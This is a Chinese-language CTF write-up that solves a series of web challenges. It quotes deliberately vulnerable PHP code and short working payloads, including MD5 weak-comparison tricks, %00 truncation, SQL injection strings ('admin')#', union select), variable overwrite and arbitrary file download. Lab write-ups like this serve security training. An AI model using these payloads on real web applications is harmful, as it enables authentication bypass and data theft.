WEB
1.签到
2.md5 collision
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
php语言的弱类型特性。
$md51 = md5('QNKCDZO')=0E830400451993494058024219903391
- php发现密文为0e开头,PHP在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法。
- 因为0exx都等于0,所以让两者相等我们只需再找到一个MD5加密后开头为0e的字符串即可
0e开头MD5值小结
get一个a.png
nctf{md5_collision_is_easy}
3.签到2
只需要post一下就可以了。
flag is:nctf{follow_me_to_exploit}
4.这题不是web
010编辑器打开图片
5.层层递进
打开源代码,找到so.html.一直点,发现页面一样,继续点so.html。直到变为404.html
nctf{this_is_a_fl4g}
6.AAencode
提示:javascript aaencode
神器的JavaScript加密工具aaencode 把js转为颜文字表情符号
aaencode 加密
aaencode 解密
7.单身二十年
8.你从哪里来
题目坏了。本地,复现
修改一下源码
$referer = $_SERVER['referer'];
改为
$referer = $_SERVER['HTTP_REFERER'];
9.php decode
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
eval换成echo。输出代码。phpinfo(); flag:nctf{gzip_base64_hhhhhh}
10.文件包含
11.单身一百年也没有用
抓个包看看。
12.Download~!
eGluZ3hpbmdkaWFuZGVuZy5tcDM= base64解码 xingxingdiandeng.mp3
download.php?url=base64('文件名')
下载download.php文件
download.php?url=ZG93bmxvYWQucGhw
文件内容
??<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
$file_size = filesize($url);
header ( "Pragma: public" );
header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header ( "Cache-Control: private", false );
header ( "Content-Transfer-Encoding: binary" );
header ( "Content-Type:audio/mpeg MP3");
header ( "Content-Length: " . $file_size);
header ( "Content-Disposition: attachment; filename=".$url);
echo(file_get_contents($url));
exit;
}
else {
echo "Access Forbidden!";
}
?>
下载hereiskey.php
way.nuptzj.cn/web6/download.php?url=aGVyZWlza2V5LnBocA==
nctf{download_any_file_666}
13.cookie
flag:nctf{cookie_is_different_from_session}
14.MYSQL
http://chinalover.sinaapp.com/web11/robots.txt
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
get 1024.1
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
the flag is:nctf{query_in_mysql}
15.sql injection 3
16./x00
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
ereg()详解
strops()详解
分析:第一个选择要满足纯数字,第二个选择要满足含有#biubiubiu
- 传一个数组上去满足条件。?nctf[]=1。ereg()与strpos()出错返回null,!=FLASE.
- ereg的字符串截断漏洞。遇到%00则默认为字符串的结束。?nctf=1%00%23biubiubiu
html url编码
flag:nctf{use_00_to_jieduan}
17.依旧是弱类型
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
- md5不能处理数组结构的数据。出错返回null。index.php?a[]=1&b[]=2
- 提交两个加密后0e开头的字符串。?a=s878926199a&b=
s155964671a
18.变量覆盖
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { //表示表单提交方式为php
extract($_POST);}
if ($pass == $thepassword_123) { // 只需要覆盖$pass、$thepassword_123这两个变量使他们相等即可
echo $theflag;}
?>
变量覆盖
burp post一个 pass=1&thepassword_123=1
nctf{bian_liang_fu_gai!}
19.php是世界上最好的语言
<?php
if(eregi("hackerDJ",$_GET[id])) {//id与hackerDJ不相同
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);//id又经历了一次URL解码
if($_GET[id] == "hackerDJ")//解码后的id与hackerDJ相同
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
<br><br>
Can you authenticate to this website?
其实url编码就是一个字符ascii码的十六进制。
h的URL编码为%68,在进行一次编码后为%2568,%的编码为%25,get id=%2568ackerDJ。
flag: nctf{php_is_best_language}
20.伪装者
21.Header
22.上传绕过
我们要把上传的png文件,让他处理为php文件。
截断上传漏洞
我们来判断一下 是怎么识别上传文件的类型。
上传一个5.png文件 在/uploads/下添加5.php
我们可以看到basename返回5.php5.png 说明是通过basename判断文件类型的。所以我们在/uploads/5.php后面加一个00截断。为了好标识,5.php后加一个空格。打开Burp hex讲空格20,修改为00。
flag:nctf{welcome_to_hacks_world}
23.sql注入1
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
看源码$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
可以在输入的user做手脚,把后面的注释掉,同时别忘了闭合这一语句,输入 admin‘)#即可,因为#后面都被注释了,原来的后括号也没了,所以要补上括号。
24.pass chack
<?php
$pass=@$_POST['pass'];
$pass1=*;//被隐藏起来的密码
if(isset($pass)) {
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
} else {
echo "the pass is wrong!";
}
} else {
echo "please input pass!";
}
?>
strcmp($pass,$pass1)
strcmp(array,string)=null=0
当不同类型的变量进行比较的时候就会存在变量转换的问题,在转换之后就有可能会存在问题。
post 一个数组
pass[]=1
25.起名字真难
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
54975581388的16进制是ccccccccc,没有数字。提交?key=0xccccccccc就行了。
26.密码重置
admin based加密 YWRtaW4=
27.php反序列化
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>
28.sql injection 4
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
Invalid password!
当 magic_quotes_gpc 打开时,所有的 ’ (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。
return htmlentities($str, ENT_QUOTES);//编码所有的双引号和单引号
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
反斜杠取消单引号闭合作用 转义
SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';
转换一下
name='.$username.' AND pass='.$password.';
代入payload
name='\' AND pass='or 1 #';
name=' AND pass='or 1 #';
#注释多出来的单引号 AND pass =是一个整体 一定是flase or 1 一定是true
25.综合题
CTF之JScrewIt的加密解密
百度一下history of bash 目录在~/.bash_history
每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。这样访问.bash_history得到zip -r flagbak.zip ./*。下载一下,flag出来了。
26.system
27.SQL注入2
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
提示union查询。
0'union select 'C4CA4238A0B923820DCC509A6F75849B'#&pass=1
看懂php构建一个就行了 没什么意思。
28.综合题2
查源码 http://cms.nuptzj.cn/about.php?file=sm.txt
create table admin (
id integer,
username text,
userpass text,
)
以及一些文件
config.php:存放数据库信息,移植此 CMS 时要修改
index.php:主页文件
passencode.php:Funny 公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本 CMS 的说明文档
附一篇详解 https://www.tuicool.com/articles/uYVZbmv